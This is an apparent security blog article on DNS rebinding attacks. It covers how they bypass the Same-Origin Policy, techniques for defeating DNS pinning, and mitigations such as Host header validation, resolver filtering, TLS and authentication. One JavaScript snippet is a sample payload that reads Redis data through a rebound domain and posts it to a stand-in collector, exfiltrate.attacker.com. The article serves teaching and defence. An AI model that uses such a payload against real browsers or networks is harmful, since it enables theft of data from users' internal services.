dns / dns-rebinding / web-security / same-origin-policy

Understanding DNS Rebinding Attacks: Mechanics, Exploitation, and Defenses

A deep dive into DNS rebinding attacks, showing how attackers bypass the browser's Same-Origin Policy to scan local networks and access internal APIs, with mitigation strategies.

July 8, 2026 · 6 min read

The browser’s Same-Origin Policy (SOP) is the cornerstone of web security. It dictates that scripts executing in the context of one origin (defined by the scheme, host, and port) cannot read or write data belonging to another origin.

However, SOP relies on a fundamental network-layer assumption: that a hostname maps to a consistent trust boundary. By manipulating DNS resolution, an attacker can violate this assumption. This is the essence of a DNS Rebinding attack. Through it, a remote malicious website can trick a victim’s browser into acting as a proxy to scan local networks, exfiltrate data from localhost services, or interact with private APIs.

The Core Vulnerability: Host vs. IP Address

The Same-Origin Policy operates at the application layer and evaluates origin based on the host name (e.g., attacker.com), not the underlying IP address.

When a browser loads a script from http://attacker.com, that script is bound to the origin http://attacker.com. The browser permits the script to make HTTP requests (via fetch or XMLHttpRequest) back to http://attacker.com and read the responses.

If attacker.com resolves to a public IP address during the initial load, and subsequently resolves to a private IP address (such as 127.0.0.1 or 192.168.1.1), the browser still treats it as the same origin. The domain name has not changed, even though the traffic is now routed to an entirely different, private network interface.

+----------------+             +-----------------+             +-------------------+
| Victim Browser |             | Attacker Server |             | Local Host/Router |
+-------+--------+             +--------+--------+             +---------+---------+
        |                               |                                |
        | 1. Resolve attacker.com       |                                |
        |------------------------------>|                                |
        | 2. IP: 198.51.100.42 (TTL=0)  |                                |
        |<------------------------------|                                |
        |                               |                                |
        | 3. GET /malicious.js          |                                |
        |------------------------------>|                                |
        | 4. Serve JS payload           |                                |
        |<------------------------------|                                |
        |                               |                                |
        | 5. JS executes fetch()        |                                |
        |    to attacker.com            |                                |
        |    (DNS Cache expired)        |                                |
        |                               |                                |
        | 6. Re-resolve attacker.com    |                                |
        |------------------------------>|                                |
        | 7. IP: 127.0.0.1              |                                |
        |<------------------------------|                                |
        |                               |                                |
        | 8. HTTP GET /api/sensitive    |                                |
        |--------------------------------------------------------------->|
        | 9. HTTP Response (sensitive)                                   |
        |<---------------------------------------------------------------|
        |                               |                                |
        | 10. Exfiltrate data           |                                |
        |------------------------------>|                                |

Step-by-Step Attack Vector

A typical DNS rebinding attack unfolds through the following phases:

  1. User Visit: The victim visits a malicious website or views a malicious ad hosted on http://attacker.com.
  2. Initial DNS Resolution: The browser queries DNS for attacker.com. The attacker’s custom authoritative nameserver responds with the attacker’s public IP (e.g., 198.51.100.42). Crucially, the nameserver sets the Time-To-Live (TTL) of this A record to 0 (or a very low value), instructing the client not to cache the resolution.
  3. Payload Delivery: The browser loads index.html and a malicious JavaScript file from the attacker’s public server.
  4. Triggering DNS Expiration: The malicious script waits for a short period (or forces the connection to close) to ensure the browser’s internal DNS cache expires.
  5. Rebinding Request: The script makes a background HTTP request to http://attacker.com/api/admin. Because the TTL was 0, the browser is forced to query the DNS server again.
  6. DNS Rebinding: The attacker’s nameserver receives the second query. Recognizing the client, it now responds with a private IP address, such as 127.0.0.1 (localhost) or an internal subnet address like 192.168.1.1.
  7. Exploitation: The browser sends the HTTP request to the newly bound IP (127.0.0.1). The local service (e.g., an unauthenticated admin dashboard, a Redis database, or a Memcached server) processes the request.
  8. Data Exfiltration: The browser receives the response. Because the request was sent to http://attacker.com, the browser allows the script to read the response payload. The script then exfiltrates this data to the attacker’s public server.

Bypassing Browser Protections (DNS Pinning)

Modern browsers implement DNS Pinning to mitigate this threat. Once a host is resolved, the browser caches the IP mapping for a fixed duration (often 60 seconds or more), ignoring the DNS record’s TTL to prevent rapid rebinding.

Attackers bypass DNS pinning using two main techniques:

1. Multiple IP Responses (Fallback)

The attacker’s DNS server returns two A records in the first response:

  • First record: 198.51.100.42 (Attacker IP)
  • Second record: 127.0.0.1 (Victim target IP)

The browser connects to the first IP. Once the payload is loaded, the attacker’s server immediately stops responding on the target port or closes the socket. When the malicious script attempts a new request, the browser detects that the first IP is unreachable and falls back to the second IP in the list (127.0.0.1), bypassing the cache.

2. Connection Block and Sleep

The script executes a long-running loop or triggers a setTimeout() that exceeds the browser’s DNS pinning window (typically 60–120 seconds). During this sleep cycle, the attacker’s server drops active TCP connections, forcing the browser to perform a fresh DNS lookup on the next request.

// Malicious payload executing inside the victim's browser
async function exploit() {
  // Wait for browser DNS pinning window to close
  await new Promise(resolve => setTimeout(resolve, 130000));

  try {
    const response = await fetch('http://attacker.com:6379/keys'); // Targets Redis
    const data = await response.text();
    
    // Exfiltrate stolen keys to attacker-controlled collector
    await fetch('http://exfiltrate.attacker.com/log', {
      method: 'POST',
      body: data
    });
  } catch (err) {
    // Retry or fallback
  }
}
exploit();

Mitigation Strategies

Securing systems against DNS rebinding requires defense-in-depth across the application, network, and client layers.

1. Host Header Validation

This is the most critical and robust application-level defense. When a browser sends an HTTP request, it includes the Host header (e.g., Host: attacker.com). Even if the DNS has been rebound to 127.0.0.1, the Host header will still contain the attacker’s domain name, not localhost or 127.0.0.1.

Web servers and APIs must validate the Host header against a strict allowlist of authorized hostnames. If the header does not match, the request must be rejected with a 400 Bad Request or 403 Forbidden response.

Example implementation in Node.js/Express:

const express = require('express');
const app = express();

const ALLOWED_HOSTS = ['localhost', '127.0.0.1', 'my-internal-app.local'];

app.use((req, res, next) => {
  const host = req.headers.host;
  
  // Strip port number if present
  const hostname = host ? host.split(':')[0] : '';

  if (!ALLOWED_HOSTS.includes(hostname)) {
    return res.status(400).send('Invalid Host header. Potential DNS Rebinding detected.');
  }
  next();
});

app.get('/api/admin', (req, res) => {
  res.json({ status: "success", data: "Internal configuration console" });
});

app.listen(8080);

2. DNS Resolution Filtering (DNS Wall)

Local DNS resolvers and routers should filter out public DNS responses that resolve to private, loopback, or link-local IP addresses.

For instance, in dnsmasq, the --stop-dns-rebind option rejects upstream responses containing private IP ranges:

# dnsmasq configuration
stop-dns-rebind
rebind-localhost-ok # Allow 127.0.0.1 only for local queries

In Unbound, this can be configured using the private-address directive:

private-address: 10.0.0.0/8
private-address: 172.16.0.0/12
private-address: 192.168.0.0/16
private-address: 127.0.0.0/8
private-address: fd00::/8
private-address: fe80::/10

3. Require TLS (Transport Layer Security)

DNS rebinding becomes significantly harder if the targeted internal service requires HTTPS.

When the browser connects to https://attacker.com (which has been rebound to 127.0.0.1), the TLS handshake will fail. The local service’s TLS certificate will not match the domain attacker.com. The browser will terminate the connection before transmitting any sensitive HTTP payload or headers.

4. Enable Authentication

Never rely on the network perimeter or the loopback interface (127.0.0.1) as a security boundary. All internal services, developer dashboards, and database control ports should mandate authentication (e.g., tokens, passwords) rather than trusting requests implicitly because they originate from localhost.